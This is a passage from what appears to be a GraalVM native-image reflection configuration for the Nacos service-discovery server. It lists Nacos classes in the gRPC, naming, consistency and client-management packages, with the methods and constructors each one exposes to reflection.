}]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.core.ServerLoaderInfoRequestHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"handle\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.request.Request\",\"com.alibaba.nacos.api.remote.request.RequestMeta\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.core.ServerReloaderRequestHandler\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"handle\",\"parameterTypes\":[\"com.alibaba.nacos.api.remote.request.Request\",\"com.alibaba.nacos.api.remote.request.RequestMeta\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.grpc.BaseGrpcServer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getConnectionType\",\"parameterTypes\":[] }, {\"name\":\"reloadProtocolContext\",\"parameterTypes\":[] }, {\"name\":\"reloadProtocolNegotiator\",\"parameterTypes\":[] }, {\"name\":\"shutdownServer\",\"parameterTypes\":[] }, {\"name\":\"startServer\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.grpc.GrpcBiStreamRequestAcceptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"requestBiStream\",\"parameterTypes\":[\"io.grpc.stub.StreamObserver\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.grpc.GrpcClusterServer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getRpcExecutor\",\"parameterTypes\":[] }, {\"name\":\"rpcPortOffset\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.grpc.GrpcRequestAcceptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"request\",\"parameterTypes\":[\"com.alibaba.nacos.api.grpc.auto.Payload\",\"io.grpc.stub.StreamObserver\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.grpc.GrpcSdkServer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getRpcExecutor\",\"parameterTypes\":[] }, {\"name\":\"rpcPortOffset\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.remote.grpc.RemoteParamCheckFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.service.NacosClusterOperationService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.ServerMemberManager\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.service.NamespaceOperationService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.namespace.repository.NamespacePersistService\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.utils.ReuseHttpServletRequest\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.ability.NamingAbilityInitializer\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.cluster.NamingReadinessCheckService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.cluster.ServerStatusManager\"] }, {\"name\":\"getModuleName\",\"parameterTypes\":[] }, {\"name\":\"readiness\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.cluster.ServerStatus\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.cluster.ServerStatusManager\",\n  \"allDeclaredFields\":true,\n  \"allDeclaredMethods\":true,\n  \"allDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.misc.SwitchDomain\"] }, {\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.cluster.remote.request.DistroDataRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getDataOperation\",\"parameterTypes\":[] }, {\"name\":\"getDistroData\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.cluster.remote.response.DistroDataResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setDistroData\",\"parameterTypes\":[\"com.alibaba.nacos.core.distributed.distro.entity.DistroData\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.cluster.transport.JacksonSerializer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"deserialize\",\"parameterTypes\":[\"byte[]\",\"java.lang.Class\"] }, {\"name\":\"serialize\",\"parameterTypes\":[\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.cluster.transport.Serializer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.consistency.ConsistencyService\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.consistency.Datum\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.consistency.RecordListener\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.consistency.ephemeral.distro.v2.DistroClientComponentRegistry\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.ServerMemberManager\",\"com.alibaba.nacos.core.distributed.distro.DistroProtocol\",\"com.alibaba.nacos.core.distributed.distro.component.DistroComponentHolder\",\"com.alibaba.nacos.core.distributed.distro.task.DistroTaskEngineHolder\",\"com.alibaba.nacos.naming.core.v2.client.manager.ClientManagerDelegate\",\"com.alibaba.nacos.core.cluster.remote.ClusterRpcClientProxy\"] }, {\"name\":\"doRegister\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.consistency.ephemeral.distro.v2.DistroClientVerifyInfo\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.consistency.persistent.PersistentConsistencyService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.consistency.persistent.PersistentConsistencyServiceDelegateImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.distributed.ProtocolManager\"] }, {\"name\":\"get\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getErrorMsg\",\"parameterTypes\":[] }, {\"name\":\"isAvailable\",\"parameterTypes\":[] }, {\"name\":\"listen\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.consistency.RecordListener\"] }, {\"name\":\"put\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.pojo.Record\"] }, {\"name\":\"remove\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"unListen\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.consistency.RecordListener\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.consistency.persistent.impl.BasePersistentServiceProcessor\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.CatalogController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"listDetail\",\"parameterTypes\":[\"boolean\",\"java.lang.String\",\"int\",\"int\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"boolean\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.CatalogController__Autowiring\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.CatalogController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.ClusterController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.ClusterOperatorV2Impl\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.ClusterController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.HealthController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.HealthController__Autowiring\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.HealthController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.InstanceController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.InstanceController$1\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.InstanceController__Autowiring\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.InstanceController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.OperatorController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.misc.SwitchManager\",\"com.alibaba.nacos.naming.cluster.ServerStatusManager\",\"com.alibaba.nacos.naming.misc.SwitchDomain\",\"com.alibaba.nacos.naming.core.DistroMapper\",\"com.alibaba.nacos.naming.core.v2.client.manager.ClientManager\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.OperatorController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.ServiceController\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.ServiceController__Autowiring\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.ServiceController__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.CatalogControllerV2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.CatalogControllerV2__Autowiring\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.CatalogControllerV2__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.ClientInfoControllerV2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.manager.ClientManager\",\"com.alibaba.nacos.core.remote.ConnectionManager\",\"com.alibaba.nacos.naming.core.v2.index.ClientServiceIndexesManager\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.ClientInfoControllerV2__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.HealthControllerV2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.HealthControllerV2__Autowiring\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.HealthControllerV2__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.InstanceControllerV2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.InstanceControllerV2$1\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.InstanceControllerV2__Autowiring\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.InstanceControllerV2__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.OperatorControllerV2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.misc.SwitchManager\",\"com.alibaba.nacos.naming.cluster.ServerStatusManager\",\"com.alibaba.nacos.naming.misc.SwitchDomain\",\"com.alibaba.nacos.naming.core.v2.client.manager.ClientManager\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.OperatorControllerV2__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.ServiceControllerV2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.ServiceOperatorV2Impl\",\"com.alibaba.nacos.naming.selector.SelectorManager\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.legacy.adapter.naming.v2.ServiceControllerV2__BeanDefinitions\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.CatalogService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.CatalogServiceV2Impl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.index.ServiceStorage\",\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager\"] }, {\"name\":\"getServiceDetail\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"listAllInstances\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"listInstances\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"pageListService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"int\",\"int\",\"java.lang.String\",\"boolean\"] }, {\"name\":\"pageListServiceDetail\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"int\",\"int\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.ClusterOperator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.ClusterOperatorV2Impl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataOperateService\"] }, {\"name\":\"updateClusterMetadata\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.DistroMapper\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.ServerMemberManager\",\"com.alibaba.nacos.naming.misc.SwitchDomain\"] }, {\"name\":\"ignoreExpireEvent\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[] }, {\"name\":\"onEvent\",\"parameterTypes\":[\"com.alibaba.nacos.common.notify.Event\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.HealthOperator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.HealthOperatorV2Impl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager\",\"com.alibaba.nacos.naming.core.v2.client.manager.ClientManagerDelegate\",\"com.alibaba.nacos.naming.core.v2.service.ClientOperationServiceProxy\"] }, {\"name\":\"updateHealthStatusForPersistentInstance\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"int\",\"boolean\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.InstanceOperator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.InstanceOperatorClientImpl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.manager.ClientManagerDelegate\",\"com.alibaba.nacos.naming.core.v2.service.ClientOperationServiceProxy\",\"com.alibaba.nacos.naming.core.v2.index.ServiceStorage\",\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataOperateService\",\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager\",\"com.alibaba.nacos.naming.misc.SwitchDomain\",\"com.alibaba.nacos.naming.push.UdpPushService\"] }, {\"name\":\"batchDeleteMetadata\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.pojo.InstanceOperationInfo\",\"java.util.Map\"] }, {\"name\":\"batchUpdateMetadata\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.pojo.InstanceOperationInfo\",\"java.util.Map\"] }, {\"name\":\"getHeartBeatInterval\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"int\",\"java.lang.String\"] }, {\"name\":\"getInstance\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"int\"] }, {\"name\":\"handleBeat\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"int\",\"java.lang.String\",\"com.alibaba.nacos.naming.healthcheck.RsInfo\",\"com.alibaba.nacos.naming.pojo.instance.BeatInfoInstanceBuilder\"] }, {\"name\":\"listAllInstances\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"listInstance\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.naming.pojo.Subscriber\",\"java.lang.String\",\"boolean\"] }, {\"name\":\"patchInstance\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.naming.core.InstancePatchObject\"] }, {\"name\":\"registerInstance\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.naming.pojo.Instance\"] }, {\"name\":\"removeInstance\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.naming.pojo.Instance\"] }, {\"name\":\"updateInstance\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.naming.pojo.Instance\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.InstancePatchObject\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.ServiceOperator\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.ServiceOperatorV2Impl\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataOperateService\",\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager\",\"com.alibaba.nacos.naming.core.v2.index.ServiceStorage\"] }, {\"name\":\"create\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata\"] }, {\"name\":\"delete\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"listAllNamespace\",\"parameterTypes\":[] }, {\"name\":\"listService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"queryService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"searchServiceName\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"update\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.pojo.Service\",\"com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.SubscribeManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.cleaner.AbstractNamingCleaner\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"run\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.cleaner.EmptyServiceAutoCleanerV2\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.index.ClientServiceIndexesManager\",\"com.alibaba.nacos.naming.core.v2.index.ServiceStorage\"] }, {\"name\":\"doClean\",\"parameterTypes\":[] }, {\"name\":\"getType\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.cleaner.ExpiredMetadataCleaner\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager\",\"com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataOperateService\"] }, {\"name\":\"doClean\",\"parameterTypes\":[] }, {\"name\":\"getType\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.cleaner.NamingCleaner\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.Client\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.ClientAttributes\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"unsafeAllocated\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.ClientAttributesHessianDeserializer\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.ClientSyncData\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"unsafeAllocated\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.ClientSyncDataHessianDeserializer\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.ClientSyncDatumSnapshot\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setClientSyncDataList\",\"parameterTypes\":[\"java.util.List\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.factory.impl.ConnectionBasedClientFactory\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.factory.impl.EphemeralIpPortClientFactory\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.factory.impl.PersistentIpPortClientFactory\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.impl.ConnectionBasedClient\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.impl.IpPortBasedClient\"\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.manager.ClientManager\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"init\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.core.v2.client.manager.ClientManagerDelegate\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.manager.impl.ConnectionBasedClientManager\",\"com.alibaba.nacos.naming.core.v2.client.manager.impl.EphemeralIpPortClientManager\",\"com.alibaba.nacos.naming.core.v2.client.manager.impl.PersistentIpPortClientManager\"] }, {\"name\":\"allClientId\",\"parameterTypes\":[] }, {\"name\":\"clientConnected\",\"parameterTypes\":[\"com.alibaba.nacos.naming.core.v2.client.Client\"] }, {\"name\":\"clientConnected\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.naming.core.v2.client.ClientAttributes\"] }, {\"name\":\"clientDisconnected\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"contains\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"getClient\",\"parameterTypes\":[\"java.lang.String\"] }, 